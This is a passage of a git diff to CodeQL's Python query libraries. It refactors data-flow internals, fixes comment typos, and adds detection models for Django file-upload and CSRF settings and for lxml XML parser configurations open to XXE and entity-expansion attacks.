-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImplCommon.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImplCommon.qll
index 100ffde2616..0079b259260 100644
--- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImplCommon.qll
+++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImplCommon.qll
@@ -305,7 +305,7 @@ cached
 private module Cached {
   /**
    * If needed, call this predicate from `DataFlowImplSpecific.qll` in order to
-   * force a stage-dependency on the `DataFlowImplCommon.qll` stage and therby
+   * force a stage-dependency on the `DataFlowImplCommon.qll` stage and thereby
    * collapsing the two stages.
    */
   cached
@@ -328,6 +328,9 @@ private module Cached {
   cached
   predicate clearsContentCached(Node n, ContentSet c) { clearsContent(n, c) }
 
+  cached
+  predicate expectsContentCached(Node n, ContentSet c) { expectsContent(n, c) }
+
   cached
   predicate isUnreachableInCallCached(Node n, DataFlowCall call) { isUnreachableInCall(n, call) }
 
diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImplSpecific.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImplSpecific.qll
index e88726b158b..cdbd1eecb2c 100644
--- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImplSpecific.qll
+++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImplSpecific.qll
@@ -1,9 +1,15 @@
 /**
  * Provides Python-specific definitions for use in the data flow library.
  */
+
+// we need to export `Unit` for the DataFlowImpl* files
+private import python as Python
+
 module Private {
   import DataFlowPrivate
+
   //   import DataFlowDispatch
+  class Unit = Python::Unit;
 }
 
 module Public {
diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll
index da0c6ef171b..a8e812a6972 100644
--- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll
+++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll
@@ -813,6 +813,12 @@ predicate clearsContent(Node n, Content c) {
   attributeClearStep(n, c)
 }
 
+/**
+ * Holds if the value that is being tracked is expected to be stored inside content `c`
+ * at node `n`.
+ */
+predicate expectsContent(Node n, ContentSet c) { none() }
+
 /**
  * Holds if values stored inside attribute `c` are cleared at node `n`.
  *
diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll
index 20d2447cc80..12120b3e5a7 100644
--- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll
+++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll
@@ -211,7 +211,7 @@ class CallCfgNode extends CfgNode, LocalSourceNode {
    */
   Node getFunction() { result.asCfgNode() = node.getFunction() }
 
-  /** Gets the data-flow node corresponding to the i'th argument of the call corresponding to this data-flow node */
+  /** Gets the data-flow node corresponding to the i'th positional argument of the call corresponding to this data-flow node */
   Node getArg(int i) { result.asCfgNode() = node.getArg(i) }
 
   /** Gets the data-flow node corresponding to the named argument of the call corresponding to this data-flow node */
diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowUtil.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowUtil.qll
index 4dbf2a5d4cd..4d0d52e9a4b 100644
--- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowUtil.qll
+++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowUtil.qll
@@ -2,6 +2,7 @@
  * Contains utility functions for writing data flow queries
  */
 
+private import python
 private import DataFlowPrivate
 import DataFlowPublic
 
diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/LocalSources.qll b/python/ql/lib/semmle/python/dataflow/new/internal/LocalSources.qll
index 5bf6f22e945..08d8dff2a02 100644
--- a/python/ql/lib/semmle/python/dataflow/new/internal/LocalSources.qll
+++ b/python/ql/lib/semmle/python/dataflow/new/internal/LocalSources.qll
@@ -6,7 +6,7 @@
  * local tracking within a function.
  */
 
-import python
+private import python
 import DataFlowPublic
 private import DataFlowPrivate
 private import semmle.python.internal.CachedStages
diff --git a/python/ql/lib/semmle/python/dataflow/old/StateTracking.qll b/python/ql/lib/semmle/python/dataflow/old/StateTracking.qll
index 71ca8fd0b20..43b2ece1093 100644
--- a/python/ql/lib/semmle/python/dataflow/old/StateTracking.qll
+++ b/python/ql/lib/semmle/python/dataflow/old/StateTracking.qll
@@ -45,14 +45,14 @@ abstract class TrackableState extends string {
   /**
    * Holds if state starts at `f`.
    * Either this predicate or `startsAt(ControlFlowNode f, Context ctx)`
-   * should be overriden by sub-classes.
+   * should be overridden by sub-classes.
    */
   predicate startsAt(ControlFlowNode f) { none() }
 
   /**
    * Holds if state starts at `f` given context `ctx`.
    * Either this predicate or `startsAt(ControlFlowNode f)`
-   * should be overriden by sub-classes.
+   * should be overridden by sub-classes.
    */
   pragma[noinline]
   predicate startsAt(ControlFlowNode f, Context ctx) { ctx.appliesTo(f) and this.startsAt(f) }
@@ -60,14 +60,14 @@ abstract class TrackableState extends string {
   /**
    * Holds if state ends at `f`.
    * Either this predicate or `endsAt(ControlFlowNode f, Context ctx)`
-   * may be overriden by sub-classes.
+   * may be overridden by sub-classes.
    */
   predicate endsAt(ControlFlowNode f) { none() }
 
   /**
    * Holds if state ends at `f` given context `ctx`.
    * Either this predicate or `endsAt(ControlFlowNode f)`
-   * may be overriden by sub-classes.
+   * may be overridden by sub-classes.
    */
   pragma[noinline]
   predicate endsAt(ControlFlowNode f, Context ctx) { ctx.appliesTo(f) and this.endsAt(f) }
diff --git a/python/ql/lib/semmle/python/frameworks/Aiomysql.qll b/python/ql/lib/semmle/python/frameworks/Aiomysql.qll
index 112dc58d061..fdcf21afc34 100644
--- a/python/ql/lib/semmle/python/frameworks/Aiomysql.qll
+++ b/python/ql/lib/semmle/python/frameworks/Aiomysql.qll
@@ -25,7 +25,7 @@ private module Aiomysql {
   /**
    * Gets a `Connection` that is created when
    * - the result of `aiomysql.connect()` is awaited.
-   * - the result of calling `aquire` on a `ConnectionPool` is awaited.
+   * - the result of calling `acquire` on a `ConnectionPool` is awaited.
    * See https://aiomysql.readthedocs.io/en/stable/connection.html#connection
    */
   API::Node connection() {
@@ -82,7 +82,7 @@ private module Aiomysql {
   }
 
   /**
-   * Gets an `SAConnection` that is created when the result of calling `aquire` on an `Engine` is awaited.
+   * Gets an `SAConnection` that is created when the result of calling `acquire` on an `Engine` is awaited.
    * See https://aiomysql.readthedocs.io/en/stable/sa.html#connection
    */
   API::Node saConnection() { result = engine().getMember("acquire").getReturn().getAwaited() }
diff --git a/python/ql/lib/semmle/python/frameworks/Aiopg.qll b/python/ql/lib/semmle/python/frameworks/Aiopg.qll
index 1a60c433150..afc553fe04b 100644
--- a/python/ql/lib/semmle/python/frameworks/Aiopg.qll
+++ b/python/ql/lib/semmle/python/frameworks/Aiopg.qll
@@ -25,7 +25,7 @@ private module Aiopg {
   /**
    * Gets a `Connection` that is created when
    * - the result of `aiopg.connect()` is awaited.
-   * - the result of calling `aquire` on a `ConnectionPool` is awaited.
+   * - the result of calling `acquire` on a `ConnectionPool` is awaited.
    * See https://aiopg.readthedocs.io/en/stable/core.html#connection
    */
   API::Node connection() {
@@ -78,7 +78,7 @@ private module Aiopg {
   }
 
   /**
-   * Gets an `SAConnection` that is created when the result of calling `aquire` on an `Engine` is awaited.
+   * Gets an `SAConnection` that is created when the result of calling `acquire` on an `Engine` is awaited.
    * See https://aiopg.readthedocs.io/en/stable/sa.html#connection
    */
   API::Node saConnection() { result = engine().getMember("acquire").getReturn().getAwaited() }
diff --git a/python/ql/lib/semmle/python/frameworks/Asyncpg.qll b/python/ql/lib/semmle/python/frameworks/Asyncpg.qll
index 45c274c64ba..5f867fe28ff 100644
--- a/python/ql/lib/semmle/python/frameworks/Asyncpg.qll
+++ b/python/ql/lib/semmle/python/frameworks/Asyncpg.qll
@@ -20,7 +20,7 @@ private module Asyncpg {
   /**
    * Gets a `Connection` that is created when
    * - the result of `asyncpg.connect()` is awaited.
-   * - the result of calling `aquire` on a `ConnectionPool` is awaited.
+   * - the result of calling `acquire` on a `ConnectionPool` is awaited.
    */
   API::Node connection() {
     result = API::moduleImport("asyncpg").getMember("connect").getReturn().getAwaited()
@@ -69,7 +69,7 @@ private module Asyncpg {
    * Provides models of the `PreparedStatement` class in `asyncpg`.
    * `PreparedStatement`s are created when the result of calling `prepare(query)` on a connection is awaited.
    * The result of calling `prepare(query)` is a `PreparedStatementFactory` and the argument, `query` needs to
-   * be tracked to the place where a `PreparedStatement` is created and then futher to any executing methods.
+   * be tracked to the place where a `PreparedStatement` is created and then further to any executing methods.
    * Hence the two type trackers.
    */
   module PreparedStatement {
diff --git a/python/ql/lib/semmle/python/frameworks/Django.qll b/python/ql/lib/semmle/python/frameworks/Django.qll
index d1478526b83..1d78804d237 100644
--- a/python/ql/lib/semmle/python/frameworks/Django.qll
+++ b/python/ql/lib/semmle/python/frameworks/Django.qll
@@ -737,6 +737,38 @@ module PrivateDjango {
           }
         }
 
+        /**
+         * Provides models for the `django.db.models.FileField` class and `ImageField` subclasses.
+         *
+         * See
+         * - https://docs.djangoproject.com/en/3.1/ref/models/fields/#django.db.models.FileField
+         * - https://docs.djangoproject.com/en/3.1/ref/models/fields/#django.db.models.ImageField
+         */
+        module FileField {
+          /** Gets a reference to the `django.db.models.FileField` or  the `django.db.models.ImageField` class or any subclass. */
+          API::Node subclassRef() {
+            exists(string className | className in ["FileField", "ImageField"] |
+              // commonly used alias
+              result =
+                API::moduleImport("django")
+                    .getMember("db")
+                    .getMember("models")
+                    .getMember(className)
+                    .getASubclass*()
+              or
+              // actual class definition
+              result =
+                API::moduleImport("django")
+                    .getMember("db")
+                    .getMember("models")
+                    .getMember("fields")
+                    .getMember("files")
+                    .getMember(className)
+                    .getASubclass*()
+            )
+          }
+        }
+
         /**
          * Gets a reference to the Manager (django.db.models.Manager) for the django Model `modelClass`,
          * accessed by `<modelClass>.objects`.
@@ -2599,6 +2631,36 @@ module PrivateDjango {
     }
   }
 
+  /**
+   * A parameter that accepts the filename used to upload a file. This is the second
+   * parameter in functions used for the `upload_to` argument to a `FileField`.
+   *
+   * Note that the value this parameter accepts cannot contain a slash. Even when
+   * forcing the filename to contain a slash when sending the request, django does
+   * something like `input_filename.split("/")[-1]` (so other special characters still
+   * allowed). This also means that although the return value from `upload_to` is used
+   * to construct a path, path injection is not possible.
+   *
+   * See
+   *  - https://docs.djangoproject.com/en/3.1/ref/models/fields/#django.db.models.FileField.upload_to
+   *  - https://docs.djangoproject.com/en/3.1/topics/http/file-uploads/#handling-uploaded-files-with-a-model
+   */
+  private class DjangoFileFieldUploadToFunctionFilenameParam extends RemoteFlowSource::Range,
+    DataFlow::ParameterNode {
+    DjangoFileFieldUploadToFunctionFilenameParam() {
+      exists(DataFlow::CallCfgNode call, DataFlow::Node uploadToArg, Function func |
+        this.getParameter() = func.getArg(1) and
+        call = DjangoImpl::DB::Models::FileField::subclassRef().getACall() and
+        uploadToArg in [call.getArg(2), call.getArgByName("upload_to")] and
+        uploadToArg = poorMansFunctionTracker(func)
+      )
+    }
+
+    override string getSourceType() {
+      result = "django filename parameter to function used in FileField.upload_to"
+    }
+  }
+
   // ---------------------------------------------------------------------------
   // django.shortcuts.redirect
   // ---------------------------------------------------------------------------
@@ -2676,4 +2738,67 @@ module PrivateDjango {
             .getAnImmediateUse()
     }
   }
+
+  // ---------------------------------------------------------------------------
+  // Settings
+  // ---------------------------------------------------------------------------
+  /**
+   * A custom middleware stack
+   */
+  private class DjangoSettingsMiddlewareStack extends HTTP::Server::CsrfProtectionSetting::Range {
+    List list;
+
+    DjangoSettingsMiddlewareStack() {
+      this.asExpr() = list and
+      // we look for an assignment to the `MIDDLEWARE` setting
+      exists(DataFlow::Node mw |
+        mw.asVar().getName() = "MIDDLEWARE" and
+        DataFlow::localFlow(this, mw)
+      |
+        // To only include results where CSRF protection matters, we only care about CSRF
+        // protection when the django authentication middleware is enabled.
+        // Since an active session cookie is exactly what would allow an attacker to perform
+        // a CSRF attack.
+        // Notice that this does not ensure that this is not a FP, since the authentication
+        // middleware might be unused.
+        //
+        // This also strongly implies that `mw` is in fact a Django middleware setting and
+        // not just a variable named `MIDDLEWARE`.
+        list.getAnElt().(StrConst).getText() =
+          "django.contrib.auth.middleware.AuthenticationMiddleware"
+      )
+    }
+
+    override boolean getVerificationSetting() {
+      if
+        list.getAnElt().(StrConst).getText() in [
+            "django.middleware.csrf.CsrfViewMiddleware",
+            // see https://github.com/mozilla/django-session-csrf
+            "session_csrf.CsrfMiddleware"
+          ]
+      then result = true
+      else result = false
+    }
+  }
+
+  private class DjangoCsrfDecorator extends HTTP::Server::CsrfLocalProtectionSetting::Range {
+    string decoratorName;
+    Function function;
+
+    DjangoCsrfDecorator() {
+      decoratorName in ["csrf_protect", "csrf_exempt", "requires_csrf_token", "ensure_csrf_cookie"] and
+      this =
+        API::moduleImport("django")
+            .getMember("views")
+            .getMember("decorators")
+            .getMember("csrf")
+            .getMember(decoratorName)
+            .getAUse() and
+      this.asExpr() = function.getADecorator()
+    }
+
+    override Function getRequestHandler() { result = function }
+
+    override predicate csrfEnabled() { decoratorName in ["csrf_protect", "requires_csrf_token"] }
+  }
 }
diff --git a/python/ql/lib/semmle/python/frameworks/Flask.qll b/python/ql/lib/semmle/python/frameworks/Flask.qll
index 8fe9e9bdd4b..02331ed316e 100644
--- a/python/ql/lib/semmle/python/frameworks/Flask.qll
+++ b/python/ql/lib/semmle/python/frameworks/Flask.qll
@@ -411,21 +411,16 @@ module Flask {
   /** An `FileStorage` instance that originates from a flask request. */
   private class FlaskRequestFileStorageInstances extends Werkzeug::FileStorage::InstanceSource {
     FlaskRequestFileStorageInstances() {
-      // TODO: this currently only works in local-scope, since writing type-trackers for
-      // this is a little too much effort. Once API-graphs are available for more
-      // things, we can rewrite this.
-      //
       // TODO: This approach for identifying member-access is very adhoc, and we should
       // be able to do something more structured for providing modeling of the members
       // of a container-object.
-      exists(DataFlow::AttrRead files | files = request().getMember("files").getAnImmediateUse() |
-        this.asCfgNode().(SubscriptNode).getObject() = files.asCfgNode()
+      exists(API::Node files | files = request().getMember("files") |
+        this.asCfgNode().(SubscriptNode).getObject() = files.getAUse().asCfgNode()
         or
-        this.(DataFlow::MethodCallNode).calls(files, "get")
+        this = files.getMember("get").getACall()
         or
-        exists(DataFlow::MethodCallNode getlistCall | getlistCall.calls(files, "getlist") |
-          this.asCfgNode().(SubscriptNode).getObject() = getlistCall.asCfgNode()
-        )
+        this.asCfgNode().(SubscriptNode).getObject() =
+          files.getMember("getlist").getReturn().getAUse().asCfgNode()
       )
     }
   }
diff --git a/python/ql/lib/semmle/python/frameworks/Lxml.qll b/python/ql/lib/semmle/python/frameworks/Lxml.qll
index 9259668a5c8..70e46a6d3b0 100644
--- a/python/ql/lib/semmle/python/frameworks/Lxml.qll
+++ b/python/ql/lib/semmle/python/frameworks/Lxml.qll
@@ -19,6 +19,9 @@ private import semmle.python.ApiGraphs
  * - https://lxml.de/tutorial.html
  */
 private module Lxml {
+  // ---------------------------------------------------------------------------
+  // XPath
+  // ---------------------------------------------------------------------------
   /**
    * A class constructor compiling an XPath expression.
    *
@@ -57,13 +60,25 @@ private module Lxml {
    */
   class XPathCall extends XML::XPathExecution::Range, DataFlow::CallCfgNode {
     XPathCall() {
-      this =
-        API::moduleImport("lxml")
-            .getMember("etree")
-            .getMember(["parse", "fromstring", "fromstringlist", "HTML", "XML"])
-            .getReturn()
-            .getMember("xpath")
-            .getACall()
+      exists(API::Node parseResult |
+        parseResult =
+          API::moduleImport("lxml")
+              .getMember("etree")
+              .getMember(["parse", "fromstring", "fromstringlist", "HTML", "XML"])
+              .getReturn()
+        or
+        // TODO: lxml.etree.parseid(<text>)[0] will contain the root element from parsing <text>
+        // but we don't really have a way to model that nicely.
+        parseResult =
+          API::moduleImport("lxml")
+              .getMember("etree")
+              .getMember("XMLParser")
+              .getReturn()
+              .getMember("close")
+              .getReturn()
+      |
+        this = parseResult.getMember("xpath").getACall()
+      )
     }
 
     override DataFlow::Node getXPath() { result in [this.getArg(0), this.getArgByName("_path")] }
@@ -85,4 +100,235 @@ private module Lxml {
 
     override string getName() { result = "lxml.etree" }
   }
+
+  // ---------------------------------------------------------------------------
+  // Parsing
+  // ---------------------------------------------------------------------------
+  /**
+   * Provides models for `lxml.etree` parsers.
+   *
+   * See https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.XMLParser
+   */
+  module XmlParser {
+    /**
+     * A source of instances of `lxml.etree` parsers, extend this class to model new instances.
+     *
+     * This can include instantiations of the class, return values from function
+     * calls, or a special parameter that will be set when functions are called by an external
+     * library.
+     *
+     * Use the predicate `XmlParser::instance()` to get references to instances of `lxml.etree` parsers.
+     */
+    abstract class InstanceSource extends DataFlow::LocalSourceNode {
+      /** Holds if this instance is vulnerable to `kind`. */
+      abstract predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind);
+    }
+
+    /**
+     * A call to `lxml.etree.XMLParser`.
+     *
+     * See https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.XMLParser
+     */
+    private class LxmlParser extends InstanceSource, API::CallNode {
+      LxmlParser() {
+        this = API::moduleImport("lxml").getMember("etree").getMember("XMLParser").getACall()
+      }
+
+      // NOTE: it's not possible to change settings of a parser after constructing it
+      override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
+        kind.isXxe() and
+        (
+          // resolve_entities has default True
+          not exists(this.getArgByName("resolve_entities"))
+          or
+          this.getKeywordParameter("resolve_entities").getAValueReachingRhs().asExpr() = any(True t)
+        )
+        or
+        kind.isXmlBomb() and
+        this.getKeywordParameter("huge_tree").getAValueReachingRhs().asExpr() = any(True t) and
+        not this.getKeywordParameter("resolve_entities").getAValueReachingRhs().asExpr() =
+          any(False t)
+        or
+        kind.isDtdRetrieval() and
+        this.getKeywordParameter("load_dtd").getAValueReachingRhs().asExpr() = any(True t) and
+        this.getKeywordParameter("no_network").getAValueReachingRhs().asExpr() = any(False t)
+      }
+    }
+
+    /**
+     * A call to `lxml.etree.get_default_parser`.
+     *
+     * See https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.get_default_parser
+     */
+    private class LxmlDefaultParser extends InstanceSource, DataFlow::CallCfgNode {
+      LxmlDefaultParser() {
+        this =
+          API::moduleImport("lxml").getMember("etree").getMember("get_default_parser").getACall()
+      }
+
+      override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
+        // as highlighted by
+        // https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.XMLParser
+        // by default XXE is allow. so as long as the default parser has not been
+        // overridden, the result is also vuln to XXE.
+        kind.isXxe()
+        // TODO: take into account that you can override the default parser with `lxml.etree.set_default_parser`.
+      }
+    }
+
+    /** Gets a reference to an `lxml.etree` parsers instance, with origin in `origin` */
+    private DataFlow::TypeTrackingNode instance(DataFlow::TypeTracker t, InstanceSource origin) {
+      t.start() and
+      result = origin
+      or
+      exists(DataFlow::TypeTracker t2 | result = instance(t2, origin).track(t2, t))
+    }
+
+    /** Gets a reference to an `lxml.etree` parsers instance, with origin in `origin` */
+    DataFlow::Node instance(InstanceSource origin) {
+      instance(DataFlow::TypeTracker::end(), origin).flowsTo(result)
+    }
+
+    /** Gets a reference to an `lxml.etree` parser instance, that is vulnerable to `kind`. */
+    DataFlow::Node instanceVulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
+      exists(InstanceSource origin | result = instance(origin) and origin.vulnerableTo(kind))
+    }
+
+    /**
+     * A call to the `feed` method of an `lxml` parser.
+     */
+    private class LxmlParserFeedCall extends DataFlow::MethodCallNode, XML::XmlParsing::Range {
+      LxmlParserFeedCall() { this.calls(instance(_), "feed") }
+
+      override DataFlow::Node getAnInput() { result in [this.getArg(0), this.getArgByName("data")] }
+
+      override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
+        this.calls(instanceVulnerableTo(kind), "feed")
+      }
+
+      override predicate mayExecuteInput() { none() }
+
+      override DataFlow::Node getOutput() {
+        exists(DataFlow::Node objRef |
+          DataFlow::localFlow(this.getObject(), objRef) and
+          result.(DataFlow::MethodCallNode).calls(objRef, "close")
+        )
+      }
+    }
+  }
+
+  /**
+   * A call to either of:
+   * - `lxml.etree.fromstring`
+   * - `lxml.etree.fromstringlist`
+   * - `lxml.etree.XML`
+   * - `lxml.etree.XMLID`
+   * - `lxml.etree.parse`
+   * - `lxml.etree.parseid`
+   *
+   * See
+   * - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.fromstring
+   * - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.fromstringlist
+   * - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.XML
+   * - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.XMLID
+   * - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.parse
+   * - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.parseid
+   */
+  private class LxmlParsing extends DataFlow::CallCfgNode, XML::XmlParsing::Range {
+    string functionName;
+
+    LxmlParsing() {
+      functionName in ["fromstring", "fromstringlist", "XML", "XMLID", "parse", "parseid"] and
+      this = API::moduleImport("lxml").getMember("etree").getMember(functionName).getACall()
+    }
+
+    override DataFlow::Node getAnInput() {
+      result in [
+          this.getArg(0),
+          // fromstring / XML / XMLID
+          this.getArgByName("text"),
+          // fromstringlist
+          this.getArgByName("strings"),
+          // parse / parseid
+          this.getArgByName("source"),
+        ]
+    }
+
+    DataFlow::Node getParserArg() { result in [this.getArg(1), this.getArgByName("parser")] }
+
+    override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
+      this.getParserArg() = XmlParser::instanceVulnerableTo(kind)
+      or
+      kind.isXxe() and
+      not exists(this.getParserArg())
+    }
+
+    override predicate mayExecuteInput() { none() }
+
+    override DataFlow::Node getOutput() {
+      // Note: for `parseid`/XMLID the result of the call is a tuple with `(root, dict)`, so
+      // maybe we should not just say that the entire tuple is the decoding output... my
+      // gut feeling is that THIS instance doesn't matter too much, but that it would be
+      // nice to be able to do this in general. (this is a problem for both `lxml.etree`
+      // and `xml.etree`)
+      result = this
+    }
+  }
+
+  /**
+   * A call to `lxml.etree.ElementTree.parse` or `lxml.etree.ElementTree.parseid`, which
+   * takes either a filename or a file-like object as argument. To capture the filename
+   * for path-injection, we have this subclass.
+   *
+   * See
+   * - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.parse
+   * - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.parseid
+   */
+  private class FileAccessFromLxmlParsing extends LxmlParsing, FileSystemAccess::Range {
+    FileAccessFromLxmlParsing() {
+      functionName in ["parse", "parseid"]
+      // I considered whether we should try to reduce FPs from people passing file-like
+      // objects, which will not be a file system access (and couldn't cause a
+      // path-injection).
+      //
+      // I suppose that once we have proper flow-summary support for file-like objects,
+      // we can make the XXE/XML-bomb sinks allow an access-path, while the
+      // path-injection sink wouldn't, and then we will not end up with such FPs.
+    }
+
+    override DataFlow::Node getAPathArgument() { result = this.getAnInput() }
+  }
+
+  /**
+   * A call to `lxml.etree.iterparse`
+   *
+   * See
+   * - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.iterparse
+   */
+  private class LxmlIterparseCall extends API::CallNode, XML::XmlParsing::Range,
+    FileSystemAccess::Range {
+    LxmlIterparseCall() {
+      this = API::moduleImport("lxml").getMember("etree").getMember("iterparse").getACall()
+    }
+
+    override DataFlow::Node getAnInput() { result in [this.getArg(0), this.getArgByName("source")] }
+
+    override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
+      // note that there is no `resolve_entities` argument, so it's not possible to turn off XXE :O
+      kind.isXxe()
+      or
+      kind.isXmlBomb() and
+      this.getKeywordParameter("huge_tree").getAValueReachingRhs().asExpr() = any(True t)
+      or
+      kind.isDtdRetrieval() and
+      this.getKeywordParameter("load_dtd").getAValueReachingRhs().asExpr() = any(True t) and
+      this.getKeywordParameter("no_network").getAValueReachingRhs().asExpr() = any(False t)
+    }
+
+    override predicate mayExecuteInput() { none() }
+
+    override DataFlow::Node getOutput() { result = this }
+
+    override DataFlow::Node getAPathArgument() { result = this.getAnInput() }
+  }
 }
diff --git a/python/ql/lib/semmle/python/frameworks/Stdlib.qll b/python/ql/lib/semmle/python/frameworks/Stdlib.qll
index 514a9d9e5eb..ef60841acd6 100644
--- a/python/ql/lib/semmle/python/frameworks/Stdlib.qll
+++ b/python/ql/lib/semmle/python/frameworks/Stdlib.qll
@@ -2890,70 +2890,6 @@ private module StdlibPrivate {
     override string getKind() { result = Escaping::getRegexKind() }
   }
 
-  // ---------------------------------------------------------------------------
-  // xml.etree.ElementTree
-  // ---------------------------------------------------------------------------
-  /**
-   * An instance of `xml.etree.ElementTree.ElementTree`.
-   *
-   * See https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.ElementTree
-   */
-  private API::Node elementTreeInstance() {
-    //parse to a tree
-    result =
-      API::moduleImport("xml")
-          .getMember("etree")
-          .getMember("ElementTree")
-          .getMember("parse")
-          .getReturn()
-    or
-    // construct a tree without parsing
-    result =
-      API::moduleImport("xml")
-          .getMember("etree")
-          .getMember("ElementTree")
-          .getMember("ElementTree")
-          .getReturn()
-  }
-
-  /**
-   * An instance of `xml.etree.ElementTree.Element`.
-   *
-   * See https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.Element
-   */
-  private API::Node elementInstance() {
-    // parse or go to the root of a tree
-    result = elementTreeInstance().getMember(["parse", "getroot"]).getReturn()
-    or
-    // parse directly to an element
-    result =
